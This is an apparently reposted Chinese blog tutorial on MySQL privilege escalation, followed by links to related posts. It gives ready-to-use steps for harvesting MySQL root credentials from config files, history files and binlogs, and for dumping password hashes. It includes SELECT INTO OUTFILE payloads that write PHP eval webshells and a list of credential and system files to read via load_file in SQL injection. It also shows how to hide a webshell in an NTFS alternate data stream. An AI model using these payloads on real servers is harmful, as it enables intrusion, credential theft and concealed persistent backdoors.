1. 程式人生 > >MySQL提權篇

MySQL提權篇

一、Mysql提權必備條件

1.伺服器安裝Mysql資料庫

利用Mysql提權的前提就是伺服器安裝了mysql資料庫,且mysql的服務沒有降權,Mysql資料庫預設安裝是以系統許可權繼承的,並且需要獲取Mysql root賬號密碼。

2.判斷Mysql服務執行許可權

對於Mysql資料庫服務執行許可權有很多方法,我這裡主要介紹三種,一種是通過檢視系統賬號,也即使用“net user”命令檢視系統當前賬號,如果出現了mysql這類使用者,以為著系統可能進行了降權,一般情況都不會降權。第二種方法就是看mysqld執行的Priority值,如下圖所示。通過aspx的網頁木馬來檢視Process資訊,在圖中我們可以看到系統許可權的Priority值為“8 ”,如果Mysqld的Priority值也為8則意味著Mysql是以System許可權執行的。第三種方法是檢視埠可否外聯,一般情況下是不允許root等賬號外聯,外部直接連線意味著賬號可能被擷取和嗅探,通過本地客戶端直接連線對方伺服器,直接檢視和操作Mysql資料庫,可以通過掃描3306埠來判斷是否提供對外連線。

關係型資料庫管理系統MySQL提權基礎

檢視Priority值來判斷Mysqld服務執行許可權

二、Mysql密碼獲取與破解

1.獲取網站資料庫賬號和密碼

對於CMS系統,一定會有一個檔案定義了資料庫連線的使用者和密碼。例如以下程式碼:

  1. $db['default']['hostname'] = 'localhost'
  2. $db['default']['username'] = 'root'
  3. $db['default']['password'] = '123456'
  4. $db['default']['database'] = 'crm'

dedecms資料庫安裝的資訊就是寫在data/common.inc.php,Discuz的資料庫資訊就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般資料庫配置檔案都會位於config、application、conn、db等目錄,配置檔名稱一般會是conn.asp/php/aspx/jsp等。對於java會在/WEB-INF/config/config.properties中配置,總之通過檢視原始碼,進行層層分析,終究會發現資料庫配置檔案。

對於Linux作業系統,除了上述方法獲取root賬號密碼外,還可以通過檢視./root/.mysql_history、./root/.bash_history檔案檢視mysql操作涉及的密碼。當然對於Mysql5.6以下版本,由於設計Mysql程式時對於安全性的重視度非常低,使用者密碼是明文傳輸。MySQL對於binary log中和使用者密碼相關的操作是不加密的。如果你向MySQL傳送了例如create user,grant user ... identified by這樣的攜帶初始明文密碼的指令,那麼會在binary log中原原本本的被還原出來,執行“mysqlbinlog binlog.000001”命令即可獲取,如下圖所示。

關係型資料庫管理系統MySQL提權基礎

檢視binlog日誌

2.獲取Mysql資料庫user表

MYSQL所有設定預設都儲存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安裝程式的data目錄下,有關使用者一共有三個檔案即user.frm、user.MYD和 user.MYI,MYSQL資料庫使用者密碼都儲存在user.MYD檔案中,包括root使用者和其他使用者的密碼。在有許可權的情況下,我們可以將User.frm、user.myd和User.myi三個檔案下載到本地,通過本地的mysql環境直接讀取user表中的資料。當然也可使用文字編輯器將user.MYD開啟將root賬號的密碼複製出來到到cmd5.com進行查詢和破解。對於Mysql資料庫密碼如果通過cmd5.com等網站不能查詢到密碼則需要自己手動破解,有關Mysql資料庫密碼手動破解,請查閱下一章。

3.Mysql密碼查詢

可以通過以下查詢語句直接查詢mysql資料庫中的所有使用者和密碼。

  1. selectuser,passwordfrom mysql.user
  2. selectuser,passwordfrom mysql.userwhereuser ='root'

4.MySQL密碼加密演算法

MySQL實際上是使用了兩次SHA1夾雜一次unhex的方式對使用者密碼進行了加密。具體的演算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通過查詢語句進行驗證,查詢結果如下圖所示。

  1. selectpassword('mypassword'),concat('*',sha1(unhex(sha1('mypassword')))); 

圖3mysql資料庫加密演算法

mysql資料庫加密演算法

三、Mysql獲取webshell

Mysql root賬號網站獲取webshell具備的條件:

1.知道站點物理路徑,網站物理途徑可以通過phpinfo函式、登入後臺檢視系統屬性、檔案出錯資訊、檢視網站原始碼以及路徑猜測等方法獲取。

2.有足夠大的許可權,最好是root賬號許可權或者具備root許可權的其它賬號,可以用select user,password from mysql.user進行測試。

3.magic_quotes_gpc()=OFF。對於PHP magic_quotes_gpc=on的情況,可以不對輸入和輸出資料庫的字串資料作addslashes()和stripslashes()的操作,資料也會正常顯示。 對於PHP magic_quotes_gpc=off 的情況必須使用addslashes()對輸入資料進行處理,但並不需要使用stripslashes()格式化輸出,因為addslashes()並未將反斜槓一起寫入資料庫,只是幫助mysql完成了sql語句的執行。

4.直接匯出webshell,執行下面語句

  1. Select'<?php eval($_POST[cmd])?>'into outfile '物理路徑'
  2. and 1=2 unionallselect 一句話HEX值 into outfile '路徑'

也可以通過建立表來直接完成,其中d:/www/exehack.php為webshell的名稱和路徑:

  1. CREATETABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOTNULL ); 
  2. INSERTINTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); 
  3. SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php'
  4. DROPTABLE IF EXISTS `darkmoon`; 

5.有些情況下掌握了MSSQL資料庫口令,但伺服器環境是Windows2008,web環境是PHP,則可以通過SQLTOOLs工具,直接連線命令,通過以下命令寫入shell:

  1. echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php 

四、Mysql滲透有用的一些技巧總結

1.常見的有助於滲透到mysql函式

在對MySQL資料庫架構的滲透中,MySQL內建的函式DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用來獲取一些系統的資訊,而load_file()作用是讀入檔案,並將檔案內容作為一個字串返回,這在滲透中尤其有用,例如發現一個php的SQL注入點,則可以通過構造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”來獲取boot.ini檔案的內容。

(1)一些常見的系統配置檔案

  1. c:/boot.ini //檢視系統版本 
  2. c:/windows/php.ini //php配置資訊 
  3. c:/windows/my.ini //MYSQL配置檔案,記錄管理員登陸過的MYSQL使用者名稱和密碼 
  4. c:/winnt/php.ini 
  5. c:/winnt/my.ini 
  6. c:\mysql\data\mysql\user.MYD //儲存了mysql.user表中的資料庫連線密碼 
  7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //儲存了虛擬主機網站路徑和密碼 
  8. c:\Program Files\Serv-U\ServUDaemon.ini 
  9. c:\windows\system32\inetsrv\MetaBase.xml 檢視IIS的虛擬主機配置 
  10. c:\windows\repair\sam //儲存了WINDOWS系統初次安裝的密碼 
  11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼儲存於此 
  12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
  13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif檔案 
  14. //儲存了pcAnywhere的登陸密碼 
  15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //檢視WINDOWS系統apache檔案 
  16. c:/Resin-3.0.14/conf/resin.conf //檢視jsp開發的網站 resin檔案配置資訊. 
  17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 檢視linux系統配置的JSP虛擬主機 
  18. d:\APACHE\Apache2\conf\httpd.conf 
  19. C:\Program Files\mysql\my.ini 
  20. C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的使用者密碼 

LUNIX/UNIX 下:

  1. /usr/local/app/apache2/conf/httpd.conf //apache2預設配置檔案 
  2. /usr/local/apache2/conf/httpd.conf 
  3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設定 
  4. /usr/local/app/php5/lib/php.ini //PHP相關設定 
  5. /etc/sysconfig/iptables //從中得到防火牆規則策略 
  6. /etc/httpd/conf/httpd.conf // apache配置檔案 
  7. /etc/rsyncd.conf //同步程式配置檔案 
  8. /etc/my.cnf //mysql的配置檔案 
  9. /etc/redhat-release //系統版本 
  10. /etc/issue 
  11. /etc/issue.net 
  12. /usr/local/app/php5/lib/php.ini //PHP相關設定 
  13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設定 
  14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 檢視linux APACHE虛擬主機配置檔案 
  15. /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置檔案檢視 
  16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
  17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機檢視 
  18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 檢視linux APACHE虛擬主機配置檔案 
  19. /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置檔案檢視 
  20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
  21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機檢視 
  22. /etc/sysconfig/iptables 檢視防火牆策略 
  23. load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄 
  24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
  25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 

(2)直接讀取配置檔案

  1. SELECT LOAD_FILE('/etc/passwd' ) 
  2. SELECT LOAD_FILE('/etc/issues' ) 
  3. SELECT LOAD_FILE('/etc/etc/rc.local' ) 
  4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) 
  5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) 

(3)Linux下通過load_file函式讀出來的資料庫有可能是hex編碼,要正常檢視需要使用NotePad將將以上程式碼全部選中,然後選擇外掛“Converter”-“HEX-ASCII”進行轉換。

2. Windows下MySQL提權時無法建立目錄解決辦法及資料流隱藏Webshell

NTFS中的ADS(交換資料流)可以建立目錄,隱藏webshell等等。

(1) Mysql建立目錄

當MySQL版本較高時,自定義函式的dll需要放在mysql目錄下的lib\plugin\。一般普通的指令碼是沒有在這個資料夾下建立資料夾的許可權的。這裡可以用到ads來突破:

  1. select'xxx'into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION'

會在mysql目錄下生成一個lib目錄,這樣你就可以將你的udf放在這個外掛目錄下了。

(2)隱藏webshell

在伺服器上echo一個數據流檔案進去,比如index.php是網頁正常檔案,我們可以這樣子搞:

  1. echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg 

這樣子就生成了一個不可見的shell a.jpg,常規的檔案管理器、type命令,dir命令、del命令發現都找不出那個a.jpg的。我們可以在另外一個正常檔案裡把這個ADS檔案include進去,這樣子就可以正常解析我們的一句話了。

3.有用的一些技巧

(1)3389埠命令列下獲取總結

  1. 相關推薦

    MySQL

    一、Mysql提權必備條件1.伺服器安裝Mysql資料庫利用Mysql提權的前提就是伺服器安裝了mysql資料庫,且mysql的服務沒有降權,Mysql資料庫預設安裝是以系統許可權繼承的,並且需要獲取Mysql root賬號密碼。2.判斷Mysql服務執行許可權對於Mysql

    mysql總結

    name sed class targe ads ring font 自己 com 一、mof提權   windows管理規範提供了以下三種方法編譯到WMI存儲庫的托管對象格式(MOF)文件:   1、運行MOF文件指定為命令行參數講Mofcomp.exe文件。   2、使

    mysql 總結

    替換 sum program binding object namespace ret lec soname 1.MOF提權 簡單的說mof就是系統內部的一個程序,每隔一定時間系統就會以root權限去執行,我們將其替換然後執行我們的而已攻擊代碼。此舉稱之為mof提權。

    系列(一)----Windows Service 伺服器初識與exp,mysql

    一、初識提權 很多時候我們入侵一個網站的時候,想要的是得到這個伺服器的許可權,也就是admin許可權,但是一般預設得到的是普通用的地許可權,許可權很小,所以就要通過其他手段,提升自己的許可權。 提權是將伺服器的普通使用者提升為管理員使用者的一種操作,提權常常用於輔助旁註

    mysql常用的方法

    tro pil pac 托管 建議 wsh mod sel ebs 一,利用MOF提權 Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件: 方法 1: 運行 MOF 文件指定為命令行參數將 Mofcomp.exe

    MySQL的system命令在滲透測試中的使用以及UDF

    style data erro 重新 pos empty linux類 directory 意思 一、MySQL中的system命令 在MySQL 5.x中增加了system命令,簡單的符號是\!,從而使MySQL可以執行系統的命令 1 mysql> system

    MySQL UDF獲取主機控制權

    安裝 系統 .py 執行 dex udf 操作 接口 use UDF(User defined function)是MySQL的一個拓展接口,用來擴展MySQL的功能。在具備MySQL管理員訪問權限的條件下,可利用該特性進行提權,獲取所在主機的控制權。下面以windows主

    基礎-----mysql-udf

    paths 導出 table ads local sele 代碼 更新 reat 1.總結關於udf提權方法 通過弱口令,爆破,網站配置文件等方式得到mysql數據庫帳號密碼,---還要能外連 (1).將udf.dll代碼的16進制數聲明給my_udf_a變量 set @m

    利用mysql的幾種方式

    利用mysql的幾種提權方式 mof提權 1.原理 在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof這個檔案會每間隔一段時間(很短暫)就會以system許可權執行一次,所以,只要我們將我們先要做的事通過程式碼儲存到這個mo

    21. 從一道CTF靶機來學習mysql-udf

    這次測試的靶機為 Raven: 2 這裡是CTF解題視訊地址:https://www.youtube.com/watch?v=KbUUn3SDqaU 此次靶機主要學習 PHPMailer 跟 mymql 的UDF提權。 掃描網站目錄發現,還是wordpress搭建的,嘗試使用wp

    mysql資料庫反彈埠連線

    Mysql資料庫反彈埠連線提權 在滲透或者安全評估時,有可能遇到一些比較奇葩的環境,即使通過Mysql root賬號和密碼獲取了webshell,由於無法執行命令,在一般的情況下,也就放棄了,但其實可以換一種思路,通過mysql查詢來直接提權,可以針對以下場景: (1)通過網站無法獲取webshel

    Mysql Trigger (可以用作

    0x00 什麼是觸發器 觸發器(trigger)是資料庫提供給程式設計師和資料分析員來保證資料完整性的一種方法,它是與表事件相關的特殊的儲存過程,它的執行不是由程式呼叫,也不是手工啟動,而是由事件來觸發,當對一個表進行操作(insert,delete,update)時就會啟

    Mysql UDF方法

    ##0x01 UDF UDF(user defined function)使用者自定義函式,是mysql的一個拓展介面。使用者可以通過自定義函式實現在mysql中無法方便實現的功能,其新增的新函式都可以在sql語句中呼叫,就像呼叫本機函式一樣。 ##0x02 windows下udf提權的條件 - 如果mys

    利用linux漏洞

    linux漏洞 提權就是讓普通用戶擁有超級用戶的權限。 本次試驗漏洞適用於RHELt或CenOS系列5~6系列所有版本。主要利用/tmp/目錄和/bin/ping命令的權限漏洞進行提權。 試驗環境:騰訊雲CentOS6.8 內核:2.6.32-642.6.2.el6.x86_641.查

    Windows中使用命令行給普通用戶成管理員組

    windows 修改密碼 管理員 用戶 新建 在進入CMD後1. 首先查看當前用戶信息net user UserName2. 新建用戶、修改密碼新建用戶 net user add UserName修改密碼 net user UserName *3 將用戶加入到本地組net local

    MySQL--------入門簡介

    mysql dba 1. 背景 * MySQL是一個關系型數據庫管理系統,由瑞典MySQL AB 公司開發,目前屬於 Oracle 旗下產品。MySQL 是最流行的關系型數據庫管理系統之一,在 WEB 應用方面,MySQL是最好的 RDBMS (Relational Database Manage

    進程

    pre 可選 efi att html 數組 pro ret 參考 GetCurrentProcessID 得到當前進程的ID OpenProcessToken 得到進程的令牌句柄LookupPrivilegeValue 查詢進程的權限 AdjustTokenPrivile

    數據庫——MySQL——>Java

    pat oot name bsp 常用 utf 登入 character oid MySQL MySQL是一個關系型數據庫管理系統,由瑞典MySQL AB 公司開發,目前屬於 Oracle 旗下產品。MySQL 是最流行的關系型數據庫管理系統之一,在 WEB 應

    mysql註入

    寫入 itl nor html database lazy 靈活 原理分析 統計字符 博客這個東西真的很考驗耐心,每寫一篇筆記,都是在艱難的決定中施行的,畢竟誰都有懶惰的一面,就像這個,mysql註入篇,拖拖拖一直拖到現在才開始總結,因為這個實在是太多太雜了,細細的總結一篇

    利用新浪博客做站群 看了分分鐘你也會

    SEO優化的過程中網站的權重是關鍵詞排名不可或缺的因素,為了提升網站的權重SEOer通常會利用第三方平臺的高權重為SEO所用,今天給大家講一個關於新浪博客站群的概念以及具體的操作方法。 顧名思義新浪博客站群分解開來通俗點來說就是新浪博客的集群,也就是把一定數量的新浪博客聚集在一起形成一個類似